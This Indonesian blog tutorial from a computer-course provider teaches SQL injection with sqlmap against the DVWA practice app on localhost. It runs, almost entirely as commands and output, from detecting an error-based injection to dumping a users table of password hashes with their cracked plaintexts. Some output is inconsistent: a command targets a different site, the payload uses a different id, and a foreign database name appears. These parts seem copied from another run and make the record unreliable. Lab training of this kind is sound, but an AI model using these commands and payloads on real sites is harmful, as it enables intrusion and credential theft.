Teknik Hacking dengan sqlmap

Written by Edusoft Center on October 2, 2013. Posted in Blog

Pada tutorial ini kita akan belajar cara menggunakan sqlmap untuk melakukan exploit terhadap aplikasi web yang vulnerable. Untuk memahami tutorial ini kita harus mempunyai dasar pengetahuan mengenai cara kerja database berintegrasi dengan aplikasi web.

Vulnerable Urls

Url web yang akan kita test adalah:
http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit
Untuk menguji vulnerable aplikasi terhadap sql injection, tambahkan tanda petik tunggal setelah id=1
http://localhost/dvwa/vulnerabilities/sqli/?id=1'&Submit=Submit
Jika muncul errror, berarti aplikasi web tersebut vulnerable terhadap serangan sql injection.

Hacking dengan sqlmap

Sekarang kita mulai gunakan tool sqlmap untuk memulai serangan:
python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit"  --cookie="security=low; security_level=0; PHPSESSID=6uum1pbmgosbfetens6es2cai3"
Perintah diatas digunakan untuk mengetahui apakah parameter diatas vulnerable terhadap sql injection atau tidak. Dan juga informasi yang terkait dengan sistem yang digunakan. Berikut hasil dari perintah diatas:
[*] starting at 12:10:33

[12:10:33] [INFO] resuming back-end DBMS 'mysql'
[12:10:34] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
---
[12:10:37] [INFO] the back-end DBMS is MySQL
web server operating system: Ubuntu
web application technology: Apache 2.2.22
back-end DBMS: MySQL 5
sqlmap menemukan jenis sistem operasi, nama web server dan database berikut versinya.

Mencari Database

Langkah berikutnya adalah mencari nama databasenya. kita gunakan opsi “–dbs” untuk melihat list database:
$ python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit"  --cookie="security=low; security_level=0; PHPSESSID=6uum1pbmgosbfetens6es2cai3" --dbs
Output dari perintah tersebut sebagai berikut:
[*] starting at 12:12:56

[12:12:56] [INFO] resuming back-end DBMS 'mysql'
[12:12:57] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
---
[12:13:00] [INFO] the back-end DBMS is MySQL
web server operating system: Ubuntu
web application technology: Apache 2.2.22
back-end DBMS: MySQL 5
[12:13:00] [INFO] fetching database names
[12:13:00] [INFO] the SQL query used returns 2 entries
[12:13:00] [INFO] resumed: information_schema
[12:13:00] [INFO] resumed: safecosmetics
available databases [2]:
[*] information_schema
[*] dvwa
Ada 2 database yang ditampilkan dari perintah diatas: information_schema dan dvwa

Melihat Tabel pada suatu Database

Berikutnya kita ingin mengetahui tabel dari database, dalam hal ini kita ingin mengetahui isi tabel dari database ‘dvwa’
Perintahnya:
$ python sqlmap.py -u "http://www.site.com/section.php?id=51"  --cookie="security=low; security_level=0; PHPSESSID=6uum1pbmgosbfetens6es2cai3" --tables -D dvwa
Output dari perintah diatas adalah:
[11:55:18] [INFO] the back-end DBMS is MySQL
web server operating system: Ubuntu
web application technology: Apache 2.2.22
back-end DBMS: MySQL 5
[11:55:18] [INFO] fetching tables for database: 'dvwa'
Database: dvwa
[2 tables]
+-----------+
| guestbook |
| users     |
+-----------+
...........
Ada 2 tabel dalam database “dvwa” yaitu guestbook dan users

Melihat Kolom dari suatu Tabel

Langkah berikutnya adalah melihat isi tabel. Tabel yang dipilih tentunya yang mengandung user dan password, dalam hal ini kita akan melihat kolom dari tabel “users”
$ python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit"  --cookie="security=low; security_level=0; PHPSESSID=6uum1pbmgosbfetens6es2cai3" --columns -D dvwa -T users
Output dari perintah diatas sebagai berikut:
[12:17:39] [INFO] the back-end DBMS is MySQL
web server operating system: Ubuntu
web application technology: Apache 2.2.22
back-end DBMS: MySQL 5
[12:17:39] [INFO] fetching columns for table 'users' in database 'dvwa'
Database: dvwa
Table: users
[6 columns]
+------------+-------------+
| Column     | Type        |
+------------+-------------+
| user       | varchar(15) |
| avatar     | varchar(70) |
| first_name | varchar(15) |
| last_name  | varchar(15) |
| password   | varchar(32) |
| user_id    | int(6)      |
+------------+-------------+
Ada beberapa kolom dalam tabel user yang didalamnya terdapat nama user dan password

Melihat Data dalam suatu Tabel

Setelah berhasil mengetahui isi kolom dalam tabel, langkah berkutnya adalah melihat isi dari tabel “users”
Perintahnya:
$ python sqlmap.py -u “http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit” –cookie=”security=low; security_level=0; PHPSESSID=6uum1pbmgosbfetens6es2cai3″ –dump -D dvwa -T users
Hasil dari perintah diatas adalah sebagai berikut:
Database: dvwa
Table: users
[5 entries]
+---------+---------+--------------------------------------------------+--------
-------------------------------------+-----------+------------+
| user_id | user    | avatar                                           | passwor
d                                    | last_name | first_name |
+---------+---------+--------------------------------------------------+--------
-------------------------------------+-----------+------------+
| 1       | admin   | http://localhost/dvwa/hackable/users/admin.jpg   | 21232f297a57a5a743894a0e4a801fc3 (admin)    | admin     | admin      |
| 2       | gordonb | http://localhost/dvwa/hackable/users/gordonb.jpg | e99a18c428cb38d5f260853678922e03 (abc123)   | Brown     | Gordon     |
| 3       | 1337    | http://localhost/dvwa/hackable/users/1337.jpg    | 8d3533d75ae2c3966d7e0d4fcc69216b (charley)  | Me        | Hack       |
| 4       | pablo   | http://localhost/dvwa/hackable/users/pablo.jpg   | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)  | Picasso   | Pablo      |
| 5       | smithy  | http://localhost/dvwa/hackable/users/smithy.jpg  | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | Smith     | Bob        |
+---------+---------+--------------------------------------------------+--------
-------------------------------------+-----------+------------+
good job! sqlmap berhasil melakukan tugasnya dengan baik..:-)

Tutorial Lain

Tags: , , , , , , , , , , , , , , , , , , , , , , , , , ,

Trackback from your site.

Share This Post To :

Edusoft Center

Edusoft Center merupakan lembaga yang fokus pada bidang IT terutama pada Kursus Komputer Profesional. Berlokasi di Solo / Surakarta dan dengan slogan “Start Here. Go Anywhere” diharapkan ilmu yang didapat pada kursus kami dapat diterapkan untuk mempermudah dan menunjang pada semua lini kegiatan yang dilakukan. "Selamat datang di Edusoft Center, Kursus Komputer di Solo"

Leave a comment

Jika anda membutuhkan info lebih lanjut atau ingin mengetahui jadwal kursus, silakan hubungi kami,

Call / SMS :

0896 987 12224


Call / SMS / WA :

08180 4542 586


Email:
[email protected]